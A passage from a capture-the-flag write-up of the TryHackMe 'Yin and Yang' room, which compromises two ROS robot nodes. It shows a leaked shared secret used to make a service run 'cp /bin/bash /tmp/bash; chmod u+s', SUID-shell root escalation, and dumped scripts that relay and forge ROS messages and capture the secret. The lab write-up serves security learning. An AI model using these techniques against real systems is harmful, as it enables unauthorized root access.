        message = self.sign_message(message)
        self.messagebus.publish(message)



if __name__ == "__main__":
    try:
        yang = PWNYang()
        yang.send_pings()

    except rospy.ROSInterruptException:
        pass
yin@ip-10-10-165-204:~$ python3 pwn_yang.py

//# now check the /tmp directory on Yang
yang@ip-10-10-227-181:~$ ls /tmp/ -lh
total 1.2M
-rwsr-xr-x 1 root root 1.2M Dec 31 11:12 bash

yang@ip-10-10-227-181:~$ /tmp/bash -p
bash-5.0# id
uid=1002(yang) gid=1002(yang) euid=0(root) groups=1002(yang)

bash-5.0# cat /root/yang.txt
THM{REDACTED}

PWN Yin

Now that we are root on Yang we can get the secret from /catkin_ws/secret.txt and use it to craft a message to Yin to execute a command to create a suid bash shell.

yang@ip-10-10-227-181:~$ /tmp/bash -p
bash-5.0# cat /catkin_ws/secret.txt
REDACTED

Yin Only checks for secret as defined in Yin.handle_yang_request and executes the command sent in action parameter.

We can either use CLI to make the request or create a Python script to interact with the service.

rosservice call svc_yang "secret: 'REDACTED'
command: 'cp /bin/bash /tmp/bash; chmod u+s /tmp/bash'
sender: 'Yang'
receiver: 'Yin'"
pwn_yin.py
#!/usr/bin/python3

import rospy
from yin.srv import yangrequest

rospy.init_node('pwn_yin', anonymous=True)
rospy.wait_for_service('svc_yang')

service_proxy = rospy.ServiceProxy('svc_yang', yangrequest)
response = service_proxy(
            secret='REDACTED',
            command='cp /bin/bash /tmp/bash2; chmod u+s /tmp/bash2',
            sender='Yang',
            receiver='Yin'
        )
print("Response from service:", response.response)
yin@ip-10-10-165-204:~$ rosservice call svc_yang "secret: 'REDACTED'
> command: 'cp /bin/bash /tmp/bash; chmod u+s /tmp/bash'
> sender: 'Yang'
> receiver: 'Yin'"
response: "Action performed"

yin@ip-10-10-165-204:~$ ls -la /tmp/bash
-rwsr-xr-x 1 root root 1183448 Dec 31 11:28 /tmp/bash

yin@ip-10-10-165-204:~$ python3 pwn_yin.py
Response from service: Action performed

yin@ip-10-10-165-204:~$ ls -la /tmp/bash2
-rwsr-xr-x 1 root root 1183448 Dec 31 11:30 /tmp/bash2

yin@ip-10-10-165-204:~$ /tmp/bash2 -p
bash2-5.0# cat /root/yin.txt
THM{REDACTED}

And that's it we have completed the Yin and Yang room on TryHackMe.


Extras

I initially did not think of port forwarding and instead solved this room with roscore running on both Yin and Yang.

Used a Flask API server to forward messages from Yin to Yang.

Then wrote a script to register the svc_yang service on Yang to receive the secret simultaneously as we leak the priv_key_str from Yin.

Used the secret to pwn Yin first and then used pwn_yang.py from above to root Yang by reading the /catkin_ws/privatekey.pem file.

I will dump the scripts below with no explanations do with them as you please.

Forwarder.py

Runs on Yin to forward messages from /messagebus to flask API server running on Yang.

Forwarder.py
#!/usr/bin/python3

import rospy
import requests
import json
from yin.msg import Comms

class MessageForwarder:
    def __init__(self):
        # ROS setup
        rospy.init_node("local_message_listener", anonymous=True)

        # Subscribe to the local messagebus
        self.local_subscriber = rospy.Subscriber("messagebus", Comms, self.forward_message)

        # Flask server API endpoint
        self.api_url = "http://10.10.211.87:5000/publish"  # Replace with your Flask server's IP

    def forward_message(self, msg):
        # Prepare the message data for sending to the Flask server
        message_data = {
            'timestamp': msg.timestamp,
            'hmac': msg.hmac
        }

        # log entries of msg
        print("\n\nReceived message from local topic:")
        rospy.loginfo(msg)

        # Send the message to the Flask server
        try:
            response = requests.post(self.api_url, json=message_data)

            # Check if the request was successful
            if response.status_code == 200:
                rospy.loginfo("Message forwarded to Flask server successfully.")
            else:
                rospy.logwarn(f"Failed to forward message. Status code: {response.status_code}")
        except requests.exceptions.RequestException as e:
            rospy.logerr(f"Error while forwarding message: {e}")

if __name__ == "__main__":
    try:
        forwarder = MessageForwarder()
        rospy.spin()
    except rospy.ROSInterruptException:
        pass

FlaskServer.py

Flask server running on Yang to receive messages from Yin and publish them to the /messagebus topic.

FlaskServer.py
#!/usr/bin/python3

from flask import Flask, request, jsonify
import rospy
from yang.msg import Comms
import json

app = Flask(__name__)

# ROS setup for remote messagebus
rospy.init_node("flask_message_forwarder", anonymous=True)
remote_publisher = rospy.Publisher("messagebus", Comms, queue_size=10)

@app.route('/publish', methods=['POST'])
def publish_message():
    try:
        # Parse the JSON data from the request body
        data = request.get_json()

        # Create a new Comms message from the received data
        message = Comms()
        message.timestamp = str(data['timestamp'])
        message.sender = "Yin"
        message.receiver = "Yang"
        message.action = 1
        message.actionparams = ['touch /home/yang/yin.txt']
        #message.actionparams.append(self.priv_key_str)
        message.feedback = "ACTION"
        message.hmac = data['hmac']

        # Publish the message to the ROS messagebus
        rospy.loginfo("\n\nForwarding message to remote ROS system")
        rospy.loginfo(message)

        remote_publisher.publish(message)

        return jsonify({'status': 'Message forwarded to remote ROS system'}), 200

    except Exception as e:
        return jsonify({'error': str(e)}), 500

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

svc_yang.py

Registers the svc_yang service on Yang to receive the secret.

svc_yang.py
#!/usr/bin/python3

import rospy
from yin.srv import yangrequest

class YangServiceHandler:
    def __init__(self):
        # Initialize the ROS node
        rospy.init_node('yang_service_listener', anonymous=True)

        # Create the service listener for 'svc_yang'
        self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)

    def handle_yang_request(self, req):
        # Log the received request
        rospy.loginfo(f"Received request:")
        rospy.loginfo(f"Secret: {req.secret}")
        rospy.loginfo(f"Command: {req.command}")
        rospy.loginfo(f"Sender: {req.sender}")
        rospy.loginfo(f"Receiver: {req.receiver}")

        # Process the request (e.g., execute the command)
        response = f"Action {req.command} performed by {req.sender} for {req.receiver}"

        # Return a response
        return response

if __name__ == '__main__':
    try:
        # Start the service handler
        handler = YangServiceHandler()
        rospy.spin()  # Keep the node running
    except rospy.ROSInterruptException:
        pass